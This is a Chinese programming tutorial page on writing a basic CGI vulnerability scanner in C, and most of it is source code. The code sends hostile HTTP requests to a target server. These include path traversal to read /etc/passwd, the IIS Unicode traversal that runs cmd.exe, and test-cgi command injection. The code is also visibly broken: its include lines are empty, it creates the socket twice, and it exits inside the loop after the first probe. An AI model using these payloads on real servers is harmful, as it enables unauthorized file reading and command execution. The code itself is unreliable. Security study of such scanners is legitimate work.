| 首页 | 学习 | 计算机 | 小说 | 动漫 | 论文 | 军事 | 科技 | 教育 | 哲学 | 历史 | 英语 | 笑话 | 
您现在的位置: 【书斋】 >> 计算机 >> 程序编程 >> 计算机正文 用户登录 新用户注册
编写漏洞扫描器           ★★
编写漏洞扫描器
一、漏洞扫描器基本原理:

编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的 socket 建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用 80 端口,然后对这个端口发送一个 GET 文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数 send() 和 recv(),另外对流中存在的字符串进行判断需要使用函数 strstr(),这除了需要具备 socket 函数库的知识以外,还需要一些有关 string 函数库的知识。

二、简单的漏洞扫描源代码:

/********************************************/
/* 端口扫描器 源代码 */
/* CgiScanner.cpp */
/********************************************/

#include
#include
#include

int main(int argc,char *argv[])
{
if(argc!=2){
printf("Useage : scan [IP address]\n");
return(1);
}

struct sockaddr_in blah;
struct hostent *he;
WSADATA wsaData;
int i;
WORD wVersionRequested;
SOCKET sock;

char buff[1024];
char *ex[10];
ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";
ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";
ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";
ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";
ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";
char *fmsg="HTTP/1.1 200 OK";

wVersionRequested = MAKEWORD( 1, 1 );
if (WSAStartup(wVersionRequested , &wsaData)){
printf("Winsock Initialization failed.\n");
exit(1);
}

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n");
exit(1);
}
sock = socket(AF_INET,SOCK_STREAM,0);
blah.sin_family = AF_INET;
blah.sin_port = htons(80);
blah.sin_addr.s_addr= inet_addr(argv[1]);

if ((he=gethostbyname(argv[1]))!=NULL){
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
}
else{
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){
WSACleanup();
exit(1);
}
}

for (i=1 ; i<7; i++) {
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[i],strlen(ex[i]),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound :%s\n", ex[i]);
}
}

closesocket(sock);
WSACleanup();
return(1);
}
}

这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作:

1、连接目标主机 SERVER;
2、向目标主机发送 GET 请求;
3、接收目标返回数据;
4、根据返回数据判断文件是否存在。



摘自:网易社区


Only you!!!

[1]

[1]

在百度搜索:编写漏洞扫描器
  • 上一个计算机:

  • 下一个计算机:
  • 相 关 文 章
  • 编写Wu-ftp漏洞扫描器

  • 用C语言编写简单的接口程

  • Unix下用C编写类Windows

  • 写远程缓冲区溢出漏洞利

  • 怎样用C语言编写一个DOS

  • 为 Linux 应用程序编写 

  • Linux 内核模块和驱动程

  • 编写 Linux 操作系统下的

  • Linux的nfsd存在漏洞允许

  • 关于Linux下编写和编译程

  • cgic: 为C语言编写CGI的

  • 编辑器:删除功能同步控制

  • 编辑器:字符处理

  • 编辑器:光标的处理控制

  • 编辑器:文件读入的控制

  • linux内核模块和驱动程序

  • C语言编程常见问题解答之

  • 在 Linux 下用 C 编写显

  • 扫描FTP服务器漏洞

  • 关于Linux下编写和编译程

  • Linux 内核模块 和 驱动

  • 编辑器:回车功能与存储的

  • Tc2.0编写俄罗斯方块游戏

  • 简单的行编辑器

  • 文本模式模仿磁盘扫描外

  • 堆栈应用-后缀式四则计

  • 留言簿程序的编写

  • 全屏幕编辑软件的编写(C

  • 全屏幕编辑软件的编写(C

  • 全屏幕编辑软件的编写(C